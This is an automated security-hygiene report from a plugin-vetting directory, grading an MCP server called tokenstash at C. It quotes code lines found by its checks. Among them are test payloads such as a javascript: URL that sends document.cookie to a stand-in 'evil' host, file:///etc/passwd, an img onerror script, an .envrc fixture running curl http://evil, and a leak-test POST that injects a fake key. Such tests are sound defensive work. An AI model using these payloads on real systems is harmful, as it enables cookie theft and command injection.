Grades are a hygiene check, not a security guarantee.

MCP, MCP server

tokenstash

tokenstash

Compatibility: Not stated.

Grade C

One Medium finding. Read the findings before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

Rescanned at commit 58628fe71a80, unchanged since the check below.

NETWORK_HOST_FROM_INPUT

Why this grade

  • NETWORK_HOST_FROM_INPUT Medium

    A file takes a URL or endpoint as input and has no fixed host list.

    crates/cli/src/cmd/inbox.rs, line 1297 for bad in ["javascript:fetch('//evil/'+document.cookie)", "data:text/html,<script>x</script>", "file:///etc/passwd", "JavaScript:alert(1)"] {

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Pass

    No shell or command execution found, and no extra permission was declared.

  • Install and update

    Pass

    No install-time script found, and dependencies are pinned or absent.

  • Network

    Serious

    accepts a host from input, with no fixed list in this file.

    NETWORK_HOST_FROM_INPUT

    crates/cli/src/cmd/inbox.rs, line 1297

    for bad in ["javascript:fetch('//evil/'+document.cookie)", "data:text/html,<script>x</script>", "file:///etc/passwd", "JavaScript:alert(1)"] {

    crates/cli/src/cmd/run.rs, line 55

    // argv[0] only: arguments may carry secrets (curl -H "Authorization: ...") and `why`

    crates/core/src/envcrawl.rs, line 252

    mk("rc/.envrc", "export DATABASE_URL=postgres://u:p@localhost/db\nexport EVIL_TOKEN=$(curl http://evil)\nsource ~/.secrets\n");

    Show more

    scripts/leak-test.sh, line 29

    # so every curl body lands in $WEB. $OUT is the agent/CLI-facing surface, and the session

    scripts/leak-test.sh, line 81

    for _ in $(seq 1 30); do curl -fs "http://127.0.0.1:$PORT/verify?c=ready" >/dev/null 2>&1 && break; sleep 0.1; done

    scripts/leak-test.sh, line 199

    code=$(curl -s -o "$WEB/exploit.txt" -w '%{http_code}' -X POST --data 'value=sk-EVIL-INJECTED&skip_check=1' "http://127.0.0.1:$PORT/t/$ETID")

    scripts/leak-test.sh, line 203

    code=$(curl -s -o "$WEB/unauth-index.html" -w '%{http_code}' "http://127.0.0.1:$PORT/")

    scripts/leak-test.sh, line 205

    code=$(curl -s -o /dev/null -w '%{http_code}' -X POST --data "action=allow" "http://127.0.0.1:$PORT/t/$ETID?t=$TOKEN")

    scripts/leak-test.sh, line 217

    GOT="$(curl -fsS "http://127.0.0.1:$PORT/verify?c=$NONCE")"

    scripts/leak-test.sh, line 228

    [ "$GOT" != "$(curl -fsS "http://127.0.0.1:$PORT/verify?c=${NONCE}x")" ] || { echo "FAIL: /verify is not bound to the challenge"; exit 1; }

    scripts/leak-test.sh, line 230

    code=$(curl -s -o "$WEB/verify-noc.txt" -w '%{http_code}' "http://127.0.0.1:$PORT/verify")

    scripts/leak-test.sh, line 238

    curl -fsS -c "$JAR" -b "$JAR" -L -o "$WEB/task.html" "http://127.0.0.1:$PORT/t/$ETID?t=$TOKEN"

    scripts/leak-test.sh, line 265

    code=$(curl -s -b "$JAR" -o "$WEB/big.txt" -w '%{http_code}' \

    scripts/leak-test.sh, line 280

    "$TS" need JS_LINK_KEY --agent ci --why "link test" --url "javascript:fetch('//evil/'+document.cookie)" >"$OUT/need-jslink.txt" 2>&1 || true

    scripts/leak-test.sh, line 287

    curl -fsS -c "$JAR" -b "$JAR" -L -o "$WEB/answered.html" \

    scripts/leak-test.sh, line 304

    curl -fsS -c "$PJAR" -b "$PJAR" -L -o "$WEB/paste-task.html" "$PLINK"

    scripts/verify-registry.py, line 200

    seen[url] = fetch(url)

    scripts/verify-registry.py, line 224

    r = fetch(url, method=method, headers=headers, body=body, follow=False)

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_ENV_READ SECRETS_PATH_DOTENV

    crates/cli/src/remote.rs, line 81

    .env_clear().env("PATH", TAILSCALE_ENV_PATH).envs(std::env::var_os("HOME").map(|h| ("HOME", h)))

    crates/cli/src/cmd/bundle.rs, line 285

    /// Directory tree to scan for .env / .env.local / .env.{stage} / .envrc files.

    crates/cli/src/cmd/inbox.rs, line 1298

    let page = page_task(&card(Some(bad), "why"), None, None, "tok", &inbox_auth::Scope::Full, ".env.local", false);

    Show more

    crates/cli/src/cmd/inbox.rs, line 1304

    let page = page_task(&card(Some("https://platform.openai.com/api-keys"), "why"), None, None, "tok", &inbox_auth::Scope::Full, ".env.local", false);

    crates/cli/src/cmd/inbox.rs, line 1312

    let page = page_task(&card(None, "<img src=x onerror=alert(1)>\"'"), None, None, "tok", &inbox_auth::Scope::Full, ".env.local", false);

    crates/cli/src/cmd/inbox.rs, line 1354

    let page = page_task(&card(None, "why"), None, None, "tok", &inbox_auth::Scope::Task("t_abc123".into()), ".env.local", false);

    crates/cli/src/cmd/inbox.rs, line 1356

    assert!(page.contains("written to <code>.env.local</code>"), "{page}");

    crates/cli/src/cmd/inbox.rs, line 1360

    assert!(page_task(&replace, None, None, "tok", &inbox_auth::Scope::Full, ".env.local", false).contains("every other directory you granted this key"));

    npm/tokenstash/bin/tokenstash.js, line 9

    let bin = process.env.TOKENSTASH_BINARY;

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Note

    a file was over the read cap and was not fully read.

    OBFUSCATION_FILE_OVER_READ_CAP

    crates/core/src/tests.rs, line 1

    #![cfg(test)]

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Note

Hygiene check of commit 58628fe71a80. accepts a host from input, with no fixed list in this file. reads a credential or environment file. a file was over the read cap and was not fully read.

Date and source

Date checked:

View source

github.com

Commit graded: 58628fe71a80869f70ab6e327dd7104f24382506

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen